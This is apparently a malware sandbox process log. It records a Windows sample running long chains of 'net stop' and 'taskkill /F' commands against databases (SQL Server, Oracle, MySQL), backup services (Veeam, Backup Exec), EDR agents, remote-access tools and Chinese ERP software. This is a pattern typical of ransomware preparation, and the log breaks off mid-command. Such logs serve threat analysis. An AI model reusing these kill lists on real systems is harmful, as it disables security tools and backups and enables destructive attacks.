C:\Windows\SysWOW64\net.exenet stop IngressMgr4⤵PID:4400
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IngressMgr5⤵PID:4820
-
-
-
C:\Windows\SysWOW64\net.exenet stop EvtSys4⤵PID:616
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EvtSys5⤵PID:1812
-
-
-
C:\Windows\SysWOW64\net.exenet stop K3ClouManager4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4568 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop K3ClouManager5⤵PID:4984
-
-
-
C:\Windows\SysWOW64\net.exenet stop NFVPrintServer4⤵PID:4440
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NFVPrintServer5⤵PID:4788
-
-
-
C:\Windows\SysWOW64\net.exenet stop RTCAVMCU4⤵PID:4160
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RTCAVMCU5⤵PID:4116
-
-
-
C:\Windows\SysWOW64\net.exenet stop CobianBackup104⤵PID:4252
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CobianBackup105⤵PID:1396
-
-
-
C:\Windows\SysWOW64\net.exenet stop GNWebService4⤵PID:5012
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop GNWebService5⤵PID:4784
-
-
-
C:\Windows\SysWOW64\net.exenet stop Mysoft.SchedulingService4⤵PID:5072
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Mysoft.SchedulingService5⤵PID:5032
-
-
-
C:\Windows\SysWOW64\net.exenet stop AgentX4⤵PID:2368
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AgentX5⤵PID:4980
-
-
-
C:\Windows\SysWOW64\net.exenet stop SentinelKeysServer4⤵PID:2916
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SentinelKeysServer5⤵PID:1284
-
-
-
C:\Windows\SysWOW64\net.exenet stop DGPNPSEV4⤵PID:4664
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DGPNPSEV5⤵PID:5016
-
-
-
C:\Windows\SysWOW64\net.exenet stop TurboCRM704⤵PID:4504
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TurboCRM705⤵PID:5108
-
-
-
C:\Windows\SysWOW64\net.exenet stop NFSysService4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4696 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NFSysService5⤵PID:288
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8DispatchService4⤵PID:4576
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8DispatchService5⤵PID:4852
-
-
-
C:\Windows\SysWOW64\net.exenet stop NFOTPService4⤵PID:2504
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NFOTPService5⤵PID:4820
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8EISService4⤵PID:5100
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8EISService5⤵PID:4900
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8EncryptService4⤵PID:1600
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8EncryptService5⤵PID:2824
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8GCService4⤵PID:3004
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8GCService5⤵PID:2836
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8KeyManagePool4⤵PID:4972
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8KeyManagePool5⤵PID:4520
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8MPool4⤵PID:4440
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8MPool5⤵PID:4360
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8SCMPool4⤵PID:4800
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8SCMPool5⤵PID:4716
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8SLReportService4⤵PID:4608
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8SLReportService5⤵PID:3632
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8TaskService4⤵PID:4896
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8TaskService5⤵PID:3060
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8WebPool4⤵PID:1816
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WebPool5⤵PID:5096
-
-
-
C:\Windows\SysWOW64\net.exenet stop UFAllNet4⤵PID:2668
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UFAllNet5⤵PID:4452
-
-
-
C:\Windows\SysWOW64\net.exenet stop UFReportService4⤵PID:2816
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UFReportService5⤵PID:3092
-
-
-
C:\Windows\SysWOW64\net.exenet stop UTUService4⤵PID:380
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UTUService5⤵PID:2368
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM Veeam.Backup.Service.exe /F & @taskkill /IM reportingservicesservice.exe /F & @taskkill /IM softmgrlite.exe /F & @taskkill /IM sqlbrowser.exe /F & @taskkill /IM ssms.exe /F & @taskkill /IM vmtoolsd.exe /F & @taskkill /IM baidunetdisk.exe /F & @taskkill /IM yundetectservice.exe /F & @taskkill /IM ssclient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM RAVCp164.exe /F & @taskkill /IM igfxEM.exe /F & @taskkill /IM igfxHK.exe /F & @taskkill /IM igfxTray.exe /F & @taskkill /IM 360bdoctor.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM PrivacyIconClient.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM GoogleCrashHandler.exe /F & @taskkill /IM GoogleCrashHandler64.exe /F & @taskkill /IM GoogleUpdate.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM "FileZilla server.exe" /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM Admin.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM tomcat7.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F & @taskkill /IM Kingdee.k3.Weixin.ClientService.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM ImtsEventSvr.exe /F & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM 360EnterpriseDiskUI.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM tomcat8.exe /F & @taskkill /IM QQprotect.exe /F & @taskkill /IM isqlplussvc.exe /F & @taskkill /IM nmesrvc.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM jusched.exe /F & @taskkill /IM MtxHotPlugService.exe /F & @taskkill /IM jucheck.exe /F & @taskkill /IM wordpad.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM chrome.exe /F & @taskkill /IM Thunder.exe /F"3⤵PID:4124
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlservr.exe /F4⤵PID:4712
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM httpd.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4684
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM java.exe /F4⤵PID:4512
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fdhost.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:372
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fdlauncher.exe /F4⤵PID:3416
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Veeam.Backup.Service.exe /F4⤵PID:5000
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM reportingservicesservice.exe /F4⤵PID:4724
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM softmgrlite.exe /F4⤵PID:5092
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlbrowser.exe /F4⤵PID:3992
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ssms.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4564
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vmtoolsd.exe /F4⤵PID:5020
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM baidunetdisk.exe /F4⤵PID:4508
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM yundetectservice.exe /F4⤵PID:2052
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ssclient.exe /F4⤵PID:888
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GNAupdaemon.exe /F4⤵PID:4648
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RAVCp164.exe /F4⤵PID:1080
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxEM.exe /F4⤵PID:4652
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxHK.exe /F4⤵PID:4768
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxTray.exe /F4⤵PID:8
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM 360bdoctor.exe /F4⤵PID:4436
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GNCEFExternal.exe /F4⤵PID:3768
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM PrivacyIconClient.exe /F4⤵PID:4364
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM UIODetect.exe /F4⤵PID:1952
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AutoDealService.exe /F4⤵PID:3796
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM IDDAService.exe /F4⤵PID:4884
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM EnergyDataService.exe /F4⤵PID:2044
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM MPService.exe /F4⤵PID:1168
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TransMain.exe /F4⤵PID:3532
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DAService.exe /F4⤵PID:4780
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GoogleCrashHandler.exe /F4⤵
- Kills process with taskkill
PID:4144
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GoogleCrashHandler64.exe /F4⤵PID:2916
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GoogleUpdate.exe /F4⤵PID:4916
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cohernece.exe /F4⤵PID:4464
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vmware-tray.exe /F4⤵PID:4884
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM MsDtsSrvr.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4960
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM msmdsrv.exe /F4⤵PID:4740
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "FileZilla server.exe" /F4⤵PID:4904
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM UpdateData.exe /F4⤵PID:4864
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM WebApi.Host.exe /F4⤵PID:2220
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @taskkill /IM tv_w32.exe /F & @taskkill /IM tv_x64.exe /F & @taskkill /IM rdm.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM SecureCRTPortable.exe /F & @taskkill /IM VirtualBox.exe /F & @taskkill /IM VBoxSVC.exe /F & @taskkill /IM VirtualBoxVM.exe /F & @taskkill /IM abs_deployer.exe /F & @taskkill /IM edr_monitor.exe /F & @taskkill /IM sfupdatemgr.exe /F & @taskkill /IM ipc_proxy.exe /F & @taskkill /IM edr_agent.exe /F & @taskkill /IM edr_sec_plan.exe /F & @taskkill /IM sfavsvc.exe /F & @taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F & @taskkill /IM DataShareBox.ShareBoxService.exe /F & @taskkill /IM Jointsky.CloudExchangeService.exe /F & @taskkill /IM Jointsky.CloudExchange.NodeService.ein /F & @taskkill /IM perl.exe /F & @taskkill /IM java.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM TsServer.exe /F & @taskkill /IM AppMain.exe /F & @taskkill /IM easservice.exe /F & @taskkill /IM Kingdee6.1.exe /F & @taskkill /IM QyKernel.exe /F & @taskkill /IM QyFragment.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM ComputerZTray.exe /F & @taskkill /IM ComputerZService.exe /F & @taskkill /IM ClearCache.exe /F & @taskkill /IM ProLiantMonitor.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM bugreport.exe /F & @taskkill /IM GNWebServer.exe /F & @taskkill /IM UI0Detect.exe /F & @taskkill /IM GNCore.exe /F & @taskkill /IM gnwayDDNS.exe /F & @taskkill /IM GNWebHelper.exe /F & @taskkill /IM php-cgi.exe /F & @taskkill /IM ESLUSBService.exe /F & @taskkill /IM CQA.exe /F & @taskkill /IM Kekcoek.pif /F & @taskkill /IM Tinuknx.exe /F & @taskkill /IM servers.exe /F & @taskkill /IM ping.exe /F & @taskkill /IM TianHeng.exe /F & @taskkill /IM K3MobileService.exe /F & @taskkill /IM VSSVC.exe /F & @taskkill /IM Xshell.exe /F & @taskkill /IM XshellCore.exe /F & @taskkill /IM FNPLicensingService.exe /F & @taskkill /IM XYNTService.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM EISService.exe /F & @taskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F & @taskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F & @taskkill /IM U8KeyManagePool.exe /F & @taskkill /IM U8MPool.exe /F & @taskkill /IM U8SCMPool.exe /F & @taskkill /IM UFIDA.U8.Report.SLReportService.exe /F & @taskkill /IM U8TaskService.exe /F & @taskkill /IM U8TaskWorker.exe /F & @taskkill /IM U8WebPool.exe /F & @taskkill /IM U8AllAuthServer.exe /F & @taskkill /IM UFIDA.U8.UAP.ReportService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.Services.exe /F & @taskkill /IM U8WorkerService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.exe /F & @taskkill /IM ShellStub.exe /F & @taskkill /IM U8UpLoadTask.exe /F & @taskkill /IM UfSysHostingService.exe /F & @taskkill /IM UFIDA.UBF.SystemManage.ApplicationService.exe /F & @taskkill /IM UFIDA.U9.CS.Collaboration.MailService.exe /F & @taskkill /IM NotificationService.exe /F & @taskkill /IM UBFdevenv.exe /F & @taskkill /IM UFIDA.U9.SystemManage.SystemManagerClient.exe /F & @taskkill /IM mongod.exe /F & @taskkill /IM SpusCss.exe /F & @taskkill /IM UUDesktop.exe /F & @taskkill /IM KDHRServices.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.Mobile.Servics.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM KDSvrMgrService.exe /F & @taskkill /IM pdfServer.exe /F & @taskkill /IM pdfspeedup.exe /F & @taskkill /IM SufAppServer.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.K3.Mobile.LightPushService.exe /F & @taskkill /IM iMTSSvcMgr.exe /F & @taskkill /IM kdmain.exe /F & @taskkill /IM KDActMGr.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM K3ServiceUpdater.exe /F & @taskkill /IM Aua.exe /F & @taskkill /IM iNethinkSQLBackup.exe /F & @taskkill /IM auaJW.exe /F & @taskkill /IM Scheduler.exe /F & @taskkill /IM bschJW.exe /F & @taskkill /IM SystemTray64.exe /F & @taskkill /IM OfficeDaemon.exe /F & @taskkill /IM OfficeIndex.exe /F & @taskkill /IM OfficeIm.exe /F & @taskkill /IM iNethinkSQLBackupConsole.exe /F & @taskkill /IM OfficeMail.exe /F & @taskkill /IM OfficeTask.exe /F & @taskkill /IM OfficePOP3.exe /F & @taskkill /IM apache.exe /F & @taskkill /IM GnHostService.exe /F /T & @taskkill /IM HwUVPUpgrade.exe /F /T & @taskkill /IM "Kingdee.KIS.UESystemSer.exe" /F /T & @taskkill /IM uvpmonitor.exe /F /T & @taskkill /IM UVPUpgradeService.exe /F /T & @taskkill /IM KDdataUpdate.exe /F /T & @taskkill /IM Portal.exe /F /T & @taskkill /IM U8SMSSrv.exe /F /T & @taskkill /IM "Ufida.T.SM.PublishService.exe" /F /T & @taskkill /IM lta8.exe /F /T & @taskkill /IM UfSvrMgr.exe /F /T & @taskkill /IM AutoUpdateService.exe /F /T & @taskkill /IM MOM.exe /F /T & whoami"3⤵PID:4188
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VBoxSDS.exe /F4⤵
- Kills process with taskkill
PID:4812
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mysqld.exe /F4⤵PID:4960
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TeamViewer_Service.exe /F4⤵PID:4992
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TeamViewer.exe /F4⤵PID:4296
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM CasLicenceServer.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4992
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tv_w32.exe /F4⤵PID:1712
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tv_x64.exe /F4⤵PID:2220
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM rdm.exe /F4⤵PID:3008
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SecureCRT.exe /F4⤵PID:4328
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SecureCRTPortable.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2832
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VirtualBox.exe /F4⤵PID:1664
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VBoxSVC.exe /F4⤵PID:2816
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VirtualBoxVM.exe /F4⤵PID:5056
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM abs_deployer.exe /F4⤵PID:2548
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_monitor.exe /F4⤵PID:5044
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sfupdatemgr.exe /F4⤵PID:4700
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ipc_proxy.exe /F4⤵PID:1972
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_agent.exe /F4⤵PID:4788
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_sec_plan.exe /F4⤵PID:4148
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sfavsvc.exe /F4⤵PID:4752
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DataShareBox.ShareBoxMonitorService.exe /F4⤵PID:968
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DataShareBox.ShareBoxService.exe /F4⤵PID:4932
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Jointsky.CloudExchangeService.exe /F4⤵PID:2548
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Jointsky.CloudExchange.NodeService.ein /F4⤵
- Kills process with taskkill
PID:5044
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM perl.exe /F4⤵
- Kills process with taskkill
PID:4976
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM java.exe /F4⤵PID:1296
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM emagent.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4812
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TsServer.exe /F4⤵PID:3640
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AppMain.exe /F4⤵PID:4428
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM easservice.exe /F4⤵PID:4736
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Kingdee6.1.exe /F4⤵PID:5016
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM QyKernel.exe /F4⤵PID:4648
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM QyFragment.exe /F4⤵PID:4532
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM UserClient.exe /F4⤵PID:308
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GNCEFExternal.exe /F4⤵PID:4100
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GNCEFExternal.exe /F4⤵PID:928
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GNCEFExternal.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4752
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ComputerZTray.exe /F4⤵PID:2032
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ComputerZService.exe /F4⤵PID:4796
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill /IM benetns.exe /F & @taskkill /IM beserver.exe /F & @taskkill /IM pvlsvr.exe /F & @taskkill /IM bedbg.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM RemoteAssistProcess.exe /F & @taskkill /IM BarMoniService.exe /F & @taskkill /IM GoodGameSrv.exe /F & @taskkill /IM BarCMService.exe /F & @taskkill /IM TsService.exe /F & @taskkill /IM GoodGame.exe /F & @taskkill /IM BarServerView.exe /F & @taskkill /IM IcafeServicesTray.exe /F & @taskkill /IM BsAgent_0.exe /F & @taskkill /IM ControlServer.exe /F & @taskkill /IM DisklessServer.exe /F & @taskkill /IM DumpServer.exe /F & @taskkill /IM NetDiskServer.exe /F & @taskkill /IM PersonUDisk.exe /F & @taskkill /IM service_agent.exe /F & @taskkill /IM SoftMemory.exe /F & @taskkill /IM BarServer.exe /F & @taskkill /IM RtkNGUI64.exe /F & @taskkill /IM Serv-U-Tray.exe /F & @taskkill /IM QQPCSoftTrayTips.exe /F & @taskkill /IM SohuNews.exe /F & @taskkill /IM Serv-U.exe /F & @taskkill /IM QQPCRTP.exe /F & @taskkill /IM EasyFZS.exe /F & @taskkill /IM HaoYiShi.exe /F & @taskkill /IM HysMySQL.exe /F & @taskkill /IM wtautoreg.exe /F & @taskkill /IM ispiritPro.exe /F & @taskkill /IM CAService.exe /F & @taskkill /IM XAssistant.exe /F & @taskkill /IM TrustCA.exe /F & @taskkill /IM GEUU20003.exe /F & @taskkill /IM CertMgr.exe /F & @taskkill /IM eSafe_monitor.exe /F & @taskkill /IM MainExecute.exe /F & @taskkill /IM FastInvoice.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM sesvc.exe /F & @taskkill /IM ScanFileServer.exe /F & @taskkill /IM Nuoadehgcgcd.exe /F & @taskkill /IM OpenFastAssist.exe /F & @taskkill /IM FastInvoiceAssist.exe /F & @taskkill /IM Nuoadfaggcje.exe /F & @taskkill /IM OfficeUpdate.exe /F & @taskkill /IM atkexComSvc.exe /F & @taskkill /IM FileTransferAgent.exe /F & @taskkill /IM MasterReplicatorAgent.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmUnzipService.exe /F & @taskkill /IM NscAuthService.exe /F & @taskkill /IM ReplicaReplicatorAgent.exe /F & @taskkill /IM ASMCUSvc.exe /F & @taskkill /IM OcsAppServerHost.exe /F & @taskkill /IM RtcCdr.exe /F & @taskkill /IM IMMCUSvc.exe /F & @taskkill /IM DataMCUSvc.exe /F & @taskkill /IM MeetingMCUSvc.exe /F & @taskkill /IM QmsSvc.exe /F & @taskkill /IM RTCSrv.exe /F & @taskkill /IM pnopagw.exe /F & @taskkill /IM NscAuth.exe /F & @taskkill /IM Microsoft.ActiveDirectory.WebServices.exe /F & @taskkill /IM DistributedCacheService.exe /F & @taskkill /IM c2wtshost.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Calculation.exe /F & @taskkill /IM schedengine.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Eventing.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Queuing.exe /F & @taskkill /IM WSSADMIN.EXE /F & @taskkill /IM hostcontrollerservice.exe /F & @taskkill /IM noderunner.exe /F & @taskkill /IM OWSTIMER.EXE /F & @taskkill /IM wsstracing.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM MySQLInstallerConsole.exe /F & @taskkill /IM EXCEL.EXE /F & @taskkill /IM consent.exe /F & @taskkill /IM RtkAudioService64.exe /F & @taskkill /IM RAVBg64.exe /F & @taskkill /IM FNPLicensingService64.exe /F & @taskkill /IM VisualSVNServer.exe /F & @taskkill /IM MotionBoard57.exe /F & @taskkill /IM MotionBoardRCService57.exe /F & @taskkill /IM LPManService.exe /F & @taskkill /IM RaRegistry.exe /F & @taskkill /IM RaAutoInstSrv.exe /F & @taskkill /IM RtHDVCpl.exe /F & @taskkill /IM DefenderDaemon.exe /F & @taskkill /IM BestSyncApp.exe /F & @taskkill /IM ApUI.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM LPManNotifier.exe /F & @taskkill /IM FieldAnalyst.exe /F & @taskkill /IM TimingGenerate.exe /F & @taskkill /IM Detector.exe /F & @taskkill /IM Estimator.exe /F & @taskkill /IM FA_Logwriter.exe /F & @taskkill /IM TrackingSrv.exe /F & @taskkill /IM cbInterface.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM ccbService.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM dbsrv16.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM KICManager.exe /F & @taskkill /IM KICMain.exe /F & @taskkill /IM ServerManagerLauncher.exe /F & @taskkill /IM TbossGate.exe /F & @taskkill /IM iusb3mon.exe /F & @taskkill /IM MgrEnvSvc.exe /F & @taskkill /IM Mysoft.Config.WindowsService.exe /F & @taskkill /IM Mysoft.UpgradeService.UpdateService.exe /F & @taskkill /IM hasplms.exe /F & @taskkill /IM Mysoft.Setup.InstallService.exe /F & @taskkill /IM Mysoft.UpgradeService.Dispatcher.exe /F & @taskkill /IM Mysoft.DataCenterService.WindowsHost.exe /F & @taskkill /IM Mysoft.DataCenterService.DataCleaning.exe /F & @taskkill /IM Mysoft.DataCenterService.DataTracking.exe /F & @taskkill /IM Mysoft.SchedulingService.WindowsHost.exe /F & @taskkill /IM ServiceMonitor.exe /F & @taskkill /IM Mysoft.SchedulingService.ExecuteEngine.exe /F & @taskkill /IM AgentX.exe /F & @taskkill /IM host.exe /F & 